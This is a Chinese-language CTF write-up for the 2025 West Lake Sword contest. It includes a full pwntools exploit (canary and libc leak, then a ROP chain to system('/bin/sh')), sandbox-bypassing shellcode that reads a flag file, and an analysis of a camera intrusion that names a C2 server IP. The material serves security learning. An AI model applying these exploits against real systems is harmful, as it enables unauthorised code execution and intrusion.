2025西湖论剑wp-部分pwn和IOT

D0wnBe@t Lv4

诚挚感谢复现平台:https://gz.imxbt.cn/

Vpwn

一个简单的C++ pwn,用数组模拟栈的功能,但是存在溢出和任意修改。

  • 先看一下主代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
__int64 __fastcall main(int a1, char **a2, char **a3)
{
int v3; // ebx
int choice; // [rsp+8h] [rbp-68h] BYREF
int v6; // [rsp+Ch] [rbp-64h] BYREF
__int64 v7; // [rsp+10h] [rbp-60h] BYREF
_BYTE v8[40]; // [rsp+30h] [rbp-40h] BYREF
unsigned __int64 v9; // [rsp+58h] [rbp-18h]

v9 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
sub_1840((__int64)v8);
while ( 1 )
{
std::operator<<<std::char_traits<char>>(&std::cout, "\nMenu:\n");
std::operator<<<std::char_traits<char>>(&std::cout, "1. Edit an element in the vector\n");
std::operator<<<std::char_traits<char>>(&std::cout, "2. Push a new element\n");
std::operator<<<std::char_traits<char>>(&std::cout, "3. Pop the last element\n");
std::operator<<<std::char_traits<char>>(&std::cout, "4. Print vector\n");
std::operator<<<std::char_traits<char>>(&std::cout, "5. Exit\n");
std::operator<<<std::char_traits<char>>(&std::cout, "Enter your choice: ");
std::istream::operator>>(&std::cin, &choice);
switch ( choice )
{
case 1:
std::operator<<<std::char_traits<char>>(&std::cout, "Enter the index to edit (0-based): ");
std::istream::operator>>(&std::cin, &v7);
std::operator<<<std::char_traits<char>>(&std::cout, "Enter the new value: ");
std::istream::operator>>(&std::cin, &v6);
v3 = v6;
*(_DWORD *)check(v8, v7) = v3; // 修改边界限制检查
std::operator<<<std::char_traits<char>>(&std::cout, "Element updated successfully.\n");
break;
case 2:
std::operator<<<std::char_traits<char>>(&std::cout, "Enter the value to push: ");
std::istream::operator>>(&std::cin, &v7);
sub_18F4(v8, &v7);
std::operator<<<std::char_traits<char>>(&std::cout, "Element pushed successfully.\n");
break;
case 3:
sub_1928(v8); // 仅将标志位设置为0
std::operator<<<std::char_traits<char>>(&std::cout, "Last element popped successfully.\n");
break;
case 4:
sub_19BC(v8); // show
break;
case 5:
std::operator<<<std::char_traits<char>>(&std::cout, "Exiting program.\n");
return 0LL;
default:
std::operator<<<std::char_traits<char>>(&std::cout, "Invalid choice! Please enter a valid option.\n");
break;
}
}
}

大概操作比较简单,给了一个菜单,我们可以push,pop,edit,show和exit功能,我们看看push是如何实现的:

1
2
3
4
5
6
7
8
9
10
11
__int64 __fastcall sub_18F4(__int64 a1, int *a2)
{
int v2; // ecx
__int64 result; // rax

v2 = *a2;
result = *(_QWORD *)(a1 + 24);
*(_QWORD *)(a1 + 24) = result + 1; // 可溢出覆盖
*(_DWORD *)(a1 + 4 * result) = v2;
return result;
}

通过将数据放进a1所指向地址的一个偏移处,并且在 +24的位置设置了一个数据的个数,那么此处是存在覆盖的,因为a1也就是主函数里面的v8这个字节数组,是存在与栈上的,由于”栈”空间是储存在 +24这个固定偏移的地方,也就是说我们可以往栈上多写几个数据就可以覆盖”栈空间”了,下面具体看一下:

漏洞点调试

  • 先push四个数字:1,2,3,4看看栈上的数据:

image-20250120224301608

  • 可以明显发现,我们push第七个数据就会覆盖”栈空间”,由于此题保护全开,我们需要泄露canary和libc,也就是我们至少要泄露rbp+8那里指向的一个可以算出libc_base的地址(本机libc版本不同,所以栈上数据不一致,实际上libc.so里面也没有__libc_start_call_main),因此我们可以假设覆盖“栈空间为20.
  • 接着如何泄露canary和libc? 其实直接show就好了,我们打远程看看覆盖”栈空间”之后,show出来20个4字节的数据是什么(因为每个数据均是以unsigned int储存,输出也是,故为4字节)
1
2
3
4
5
6
7
8
9
push(1)
push(2)
push(3)
push(4)
push(5)
push(6)
push(20) # 造成溢出

show()

image-20250120225111355

对照着之前动调的栈空间,可以得到 20 0 0 0 之后的数据便是canary,两部分都是canary,一个是高位,一个是地位,但是注意到数据有负数,要将其转化为无符号整数,即:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def check(n):
if n < 0 :
n += 0x100000000
return n

# 泄漏canary
ru('20 0 0 0 ')
canary_low = int(p.recvuntil(b' ',drop=True))
canary_high = int(p.recvuntil(b' ',drop=True))

canary_low = check(canary_low) # 处理出现负数即无符号溢出的情况
canary_high = check(canary_high)

canary = (canary_high << 32) | canary_low

同理,0 0 0 0 2 0 之后的数据便是可以泄露libc了,方法和canary是一致的:

1
2
3
4
5
6
7
libc_low = int(p.recvuntil(b' ',drop=True))
libc_high = int(p.recvuntil(b' ',drop=True))
libc_low = check(libc_low)
libc_high = check(libc_high)

libc_base = (libc_high << 32) | libc_low
libc.address = libc_base - 0x29d90 # 这个数据估计要patchelf之后动调才知道,但是c++的文件我还不会patchelf,后续再补上
  • 接下来就是布置rop链就行了,但是注意,我们要在ret_addr地方布置,由于此时“栈空间”是20,直接push的话不是在ret_addr,所以还需要先pop两个数据出来,再布置rop链即可,注意每次push仅为4字节,那么很明显了:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
pop_rdi_ret = libc.address + 0x000000000002a3e5
ret = libc.address + 0x0000000000029139
bin_sh = next(libc.search(b'/bin/sh\x00'))
system = libc.sym['system']

# 只需修改ret_addr即可,将“stack"退到ret_addr
for i in range(2):
pop()

#构造rop链,get shell
push(pop_rdi_ret & 0xffffffff)
push((pop_rdi_ret >> 32) & 0xffffffff )

push(bin_sh & 0xffffffff)
push((bin_sh >> 32) & 0xffffffff )

push(ret & 0xffffffff)
push((ret >> 32) & 0xffffffff )

push(system & 0xffffffff)
push((system >> 32) & 0xffffffff )

exit() #布置完rop链需停止程序,让程序去执行rop链

p.interactive()

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
from pwn import *

def bug():
gdb.attach(p)
pause()

def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

sd = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
rc = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
rl = lambda :p.recvline()
pr = lambda num=4096 :print(p.recv(num))
ia = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))

context(arch = "amd64",os = "linux",log_level = "debug")
#context.terminal = ['tmux','splitw','-h']
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
file = "./pwn"
libc = "./libc.so.6"


#p = process(file)
p = remote("gz.imxbt.cn",....)
elf = ELF(file)
libc = ELF(libc)
#p = remote("", 23583)

def check(n):
if n < 0 :
n += 0x100000000
return n

def choice(idx):
sla("Enter your choice: ",str(idx))

def edit(idx,value):
choice(1)
sla("Enter the index to edit (0-based): ",str(idx))
sla("Enter the new value: ",str(value))

def push(value):
choice(2)
sla("Enter the value to push: ",str(value))

def pop():
choice(3)

def show():
choice(4)

def exit():
choice(5)

push(1)
push(2)
push(3)
push(4)
push(5)
push(6)
push(20) # 造成溢出

show()

# 泄漏canary
ru('20 0 0 0 ')
canary_low = int(p.recvuntil(b' ',drop=True))
canary_high = int(p.recvuntil(b' ',drop=True))

canary_low = check(canary_low) # 处理出现负数即无符号溢出的情况
canary_high = check(canary_high)

canary = (canary_high << 32) | canary_low

lg("canary_high: ",canary_high)
lg("canary_low: ",canary_low)
lg("canary: ",canary)

# 泄漏libc
ru('0 0 0 0 2 0 ')

libc_low = int(p.recvuntil(b' ',drop=True))
libc_high = int(p.recvuntil(b' ',drop=True))
libc_low = check(libc_low)
libc_high = check(libc_high)

libc_base = (libc_high << 32) | libc_low
libc.address = libc_base - 0x29d90
lg("libc_address: ",libc.address)

pop_rdi_ret = libc.address + 0x000000000002a3e5
ret = libc.address + 0x0000000000029139
bin_sh = next(libc.search(b'/bin/sh\x00'))
system = libc.sym['system']

# 只需修改ret_addr即可,将“stack"退到ret_addr
for i in range(2):
pop()

#构造rop链,get shell
push(pop_rdi_ret & 0xffffffff)
push((pop_rdi_ret >> 32) & 0xffffffff )

push(bin_sh & 0xffffffff)
push((bin_sh >> 32) & 0xffffffff )

push(ret & 0xffffffff)
push((ret >> 32) & 0xffffffff )

push(system & 0xffffffff)
push((system >> 32) & 0xffffffff )

exit()

p.interactive()

Heaven’s door

只允许两次syscal且开启sendbox的shellcode题目。

  • 先查看一下主函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int __fastcall main(int argc, const char **argv, const char **envp)
{
__int64 v4; // rdx
__int64 v5; // rcx
__int64 v6; // r8
__int64 v7; // r9
__pid_t v8; // [rsp+0h] [rbp-10h]

init(argc, argv, envp);
v8 = fork();
if ( v8 )
{
printf("puchid: %d\n", v8);
mmap((void *)0x10000, 0x1000uLL, 7, 50, -1, 0LL);
read(0, (void *)0x10000, 0xC3uLL);
if ( (int)count_syscall_instructions(0x10000LL, 4096LL) > 2 ) // 核心
exit(-1);
sandbox(0x10000LL, 4096LL, v4, v5, v6, v7);
MEMORY[0x10000]();
return 0;
}
else
{
made_in_heaven(); // 输出一些人名以及作者,用处不大
puts("The time is Accelerating");
puts("MADE IN HEAVEN !!!!!!!!!!!!!!!!");
return 0;
}
}
  • 查看一下核心的函数 count_syscall_instructions
1
2
3
4
5
6
7
8
9
10
11
12
13
__int64 __fastcall count_syscall_instructions(__int64 a1, __int64 a2)
{
unsigned int v3; // [rsp+1Ch] [rbp-14h]
unsigned __int64 i; // [rsp+20h] [rbp-10h]

v3 = 0;
for ( i = 0LL; i < a2 - 1; ++i )
{
if ( *(_BYTE *)(a1 + i) == 15 && *(_BYTE *)(i + 1 + a1) == 5 )
++v3;
}
return v3;
}

这里就是检查 \x0f\x05字节码的个数,这刚好是 syscall的字节码,因此我们的shellcode仅能包含两次syscall。

拿上之前在2024BaseCTF里面的脚本直接梭即可,鸣谢 gets师傅。

(可参考:https://downbeat.top/2024/09/18/%E6%B2%99%E7%AE%B1%E7%A6%81%E7%94%A8ORW-BaseCTF/)

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *

def bug():
gdb.attach(p)
pause()

def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

sd = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
rc = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
rl = lambda :p.recvline()
pr = lambda num=4096 :print(p.recv(num))
ia = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))

context(arch = "amd64",os = "linux",log_level = "debug")
#context.terminal = ['tmux','splitw','-h']
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
file = "./pwn"
#libc = "./libc.so.6"


p = process(file)
#p = remote("gz.imxbt.cn",20551)
elf = ELF(file)
#libc = ELF(libc)
#p = remote("", 23583)

shellcode = ('''
mov rax, 0x67616c66
push rax
mov rsi, rsp
xor rax, rax
xor rdi, rdi
sub rdi, 100
xor rdx, rdx
mov r10, 7
mov rax, 0x101
syscall

mov rdi,1
mov rsi,3
mov rdx,0
mov r10,0x100
push 40
pop rax
syscall
''')

ru("MADE IN HEAVEN !!!!!!!!!!!!!!!!")
sd(asm(shellcode))
p.interactive()

image-20250121002148752

IOT-blink

直接查看字符串,有个比较特殊的,很抽象。

image-20250121002434862

1
rtosandmorseisveryeasyhahhaha

sharkp

参考文章:https://la13x.github.io/2024/01/24/MSF-C2/#32%E4%BD%8D

1
2
3
4
小李的摄像头被黑客入侵了,但只捕获到了单向的流量包,请分析摄像头固件与对应的流量,回答以下问题:
1.攻击者利用摄像头哪个接口实现的RCE?
2.攻击者回连的C2服务器ip地址是什么?
flag格式:flag{接口名称_ip地址} 例:flag{qweasd_127.0.0.1}

先查看流量包,只需查看http即可

由于是单向的流量包,但是在其中有一个返回给服务器的流量包,点击查看一下:

image-20250121132949286

image-20250121133030743

发现有个ELF文件,dump下来丢到ida查看:

image-20250121133230557

部分代码如上,其实这就是一个mips下的shellcode,往下面看一点也是可以看到 /bin出现的

image-20250121140806191

而要求的C2回连地址就是第一张图片的光标处,可以参考开头的文章可以猜测。

image-20250121141831254

1
115.195.88.161

也可以丢进安恒云沙箱

image-20250121142430291

  • 下面找接口,在上述的流量包上方发现有个POST的包,点进去看:

image-20250121142729159

image-20250121142715813

很明显RCE就是利用这个 setSystemAdmin接口

那么flag就是flag{setSystemAdmin_115.195.88.161}

  • 标题: 2025西湖论剑wp-部分pwn和IOT
  • 作者: D0wnBe@t
  • 创建于 : 2025-01-20 22:32:04
  • 更新于 : 2025-01-21 14:32:55
  • 链接: http://downbeat.top/2025/01/20/2025西湖论剑wp-部分pwn和IOT/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论
目录
2025西湖论剑wp-部分pwn和IOT